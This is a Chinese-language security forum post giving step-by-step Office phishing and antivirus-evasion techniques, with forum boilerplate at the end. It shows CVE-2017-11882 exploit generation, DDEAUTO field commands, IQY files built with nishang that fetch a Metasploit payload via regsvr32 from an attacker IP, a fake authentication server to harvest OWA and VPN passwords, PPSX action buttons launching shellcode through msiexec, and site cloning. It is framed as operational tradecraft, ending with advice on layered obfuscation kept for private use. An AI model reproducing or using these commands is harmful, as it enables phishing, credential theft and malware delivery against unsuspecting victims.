其他免杀方法:

2 远程模板注入宏代码
文章一也有讲
3.CVE-2017-11882
影响
MicrosoftOffice 2000MicrosoftOffice 2003MicrosoftOffice 2007 Service Pack 3MicrosoftOffice 2010 Service Pack 2MicrosoftOffice 2013 Service Pack 1MicrosoftOffice 2016MicrosoftOffice 365
Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。
这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

GitHub:
https://github.com/Ridter/CVE-2017-11882
使用:
python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc
生成 test.doc 文档,靶机打开。成功弹出加算器
msf 复现。
项目
https://github.com/0x09AL/CVE-2017-11882-metasploitexploit/windows/fileformat/office_ms17_11882
file://C:/Users/e%27e%27t/Desktop/2/image-20211211141611116.png?lastModify=1639209430
file://C:/Users/e%27e%27t/Desktop/2/image-20211211142151420.png?lastModify=1639209430
因为生成的不是doc文件,不容易上线

配合 HTA上线(关掉之前那个msf重新打开新的)
exploit/windows/misc/hta_server
http://192.168.0.124:8080/JjXOqafCtZp7C.hta
file://C:/Users/e%27e%27t/Desktop/2/image-20211211142507814.png?lastModify=1639209430
file://C:/Users/e%27e%27t/Desktop/2/image-20211211142648479.png?lastModify=1639209430
file://C:/Users/e%27e%27t/Desktop/2/image-20211211142818828-16392040996448.png?lastModify=1639209430
4.word 中插入外部对象(OLE)方式欺骗
插入文件 atfact 更改文件名为说明手册
更改图标为说明手册.ico
5.构造DDE钓鱼文档
创建一个文档 dde.docx ,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。
DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"
file://C:/Users/e%27e%27t/Desktop/2/image-20211211143618061.png?lastModify=1639209430
6.IQY特性钓鱼
利用nishang下的Out-WebQuery.ps1, 脚本生成包含恶意 payload url 的 iqy 文件。
可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’(不能加载脚本),通过IQY【即web查询】语句,可以直接将各类web上的列表数据轻松引入到当前的excel中,而正是因为这样,从而给了我们利用excel制作钓鱼邮件的机会,假如你要引入的web数据是入侵者事先准备好的一段payload iqy恶意代码,那结果就不言而喻了。
利用过程:
新建一个excel文件,找到”数据”→”自网站”→”地址”,填写要抓取数据的网站url,选中想抓取数据的表单
原理就是通过自动导入我们创建的网站的文件名进入exce表
但是当我们创建带有IYQ命令的html在我们的网站中,当excel表导入的时候自动执行IYO(excel能看懂的web语言)命令
详细原理看参考链接
之间进行shell操作
用到的工具:
nishang:https://github.com/samratashok/nishang/releases
先在kali准备好payload:
exploit/multi/script/web_delivery
file://C:/Users/e%27e%27t/Desktop/2/image-20211211151704320.png?lastModify=1639209430
用nishang中提供好的Out-WebQuery脚本来生成iqy文件
iqy文件本身的内容很简单,只有一个包含恶意payload的url:http://192.168.0.124/msf.html,关键也就在这个 html,我们需要把 html 的内容换成加载我们上面准备好的 meterpreter payload 的 iqy 语句 :regsv*** /s /n /u /i:http://192.168.0.124:8080/JNCDOpqoqwJs3RX
然后利用nishang-master\Client\Out-WebQuery.ps1,生成文件
powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.0.124:8000/msf.html}"
接下来就可以想办法把之前生成的iqy文件发送给受害者。
当受害者双击打开时,默认会用Excel打开,弹出警告,点击启用
点击是,正常情况下监听的msf会生成一个会话。
借助IQY窃取目标用户密码
powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.1}"
powershell-execbypasscd.\UtilityImport-Module.\Start-CaptureServer.ps1Start-CaptureServer-AuthTypeBasic-IPAddress192.168..2.1-LogFilePathC:\windows\temp\log.txt# 注意此处的认证要选择基础认证,监听的 ip 和上面生成 iqy 文件中的 ip 一致,通常都是本机 i
此认证窗口会连续出现三次,相信三次里面总有一个能用的账号密码,因为目标可能也压根搞不清楚这是什么东西,以为是系统的账号密码,就随便输,其实我们主要还是想利用这种方式钓到可用的 owa 或者 v*n 账号密码
file://C:/Users/e%27e%27t/Desktop/2/image-20211211152542048.png?lastModify=1639209430
7.PPT 动作按钮特性构造 PPSX钓鱼
新型PPT钓鱼攻击分析
首先,创建一个普通的PPTX文件,随便填入一些内容,如下图:
file://C:/Users/e%27e%27t/Desktop/2/image-20211211153036881.png?lastModify=1639209430
这里要选择空白的那个,选择以后,在页面中拉出一个触发位置,之后会弹出动作设置的界面,选择鼠标悬停-→ 运行程序msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。
file://C:/Users/e%27e%27t/Desktop/2/image-20211211153342818.png?lastModify=1639209430
file://C:/Users/e%27e%27t/Desktop/2/image-20211211153353338.png?lastModify=1639209430
配合宏的添加就能改msiexec.exe白名单配合shellcode执行
8.超链接
在PDF、Office文档中内嵌一个跳转链接是很早期的钓鱼方式,通过文字信息的引导,让受害者点开页面,如果缺乏戒心,就可能会获取到受害者的账号、密码、银行卡、身份证等信息。

三、邮件钓鱼

邮件服务器相关环境搭建,邮件信息收集请见
涵盖伪造(SRC假漏洞、简历、宏文档、合作利诱、技术交流、钓鱼网站、第三方平台)、伪造发件人、office 宏钓鱼、exe引诱。
四、flash钓鱼

选择域名:http://www.f1ash.cn/
自解压或者捆绑 配合 xss .
详细步骤见 1.6 .

五、网站钓鱼

制作钓鱼网站,克隆网站
cs,msf都有这个功能
setoolkit


综上::免杀的没几个  但是 却可以打败心大的????
到后期做到套娃免杀
或者混淆  多重拼接    分离免杀
还有多编程语言免杀(虽然这种免杀都具有时效性,但是不放出来自己用用还是可以的)
参考链接:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:30 , Processed in 0.029485 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表